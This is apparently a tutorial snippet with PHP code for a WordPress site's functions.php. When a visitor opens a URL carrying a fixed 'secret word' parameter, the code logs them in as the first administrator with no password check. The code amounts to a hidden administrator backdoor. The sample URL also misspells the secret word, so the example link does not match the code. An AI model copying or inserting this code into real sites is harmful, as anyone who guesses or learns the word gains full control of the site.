FOR EDUCATIONAL PURPOSE ONLY
The code is to be placed in the functions.php file of your WordPress website. This is an updated code version, and you don’t need to modify any username in it.
[YOU DON’T HAVE TO UPDATE ANY USERNAME – UPDATED CODE]
function auto_login_by_role() {
// Check if the 'login' parameter is in the URL and matches the secret word
if (isset($_GET['login']) && $_GET['login'] === 'secretword') {
// Define the role you want to use for auto-login (e.g., 'administrator', 'editor', 'subscriber', etc.)
$role = 'administrator';
// Get all users with the specified role
$users = get_users(array(
'role' => $role,
'number' => 1 // Only get the first user with this role
));
// If a user with the specified role exists
if (!empty($users)) {
$user = $users[0]; // Get the first user with the role
// Log the user in
wp_clear_auth_cookie();
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
// Redirect to the dashboard
wp_redirect(admin_url());
exit;
}
}
}
add_action('init', 'auto_login_by_role');
Unique URL to bypass WordPress login screen
https://yourwebsiteurl/wp-admin/?login=scretword
Video Tutorial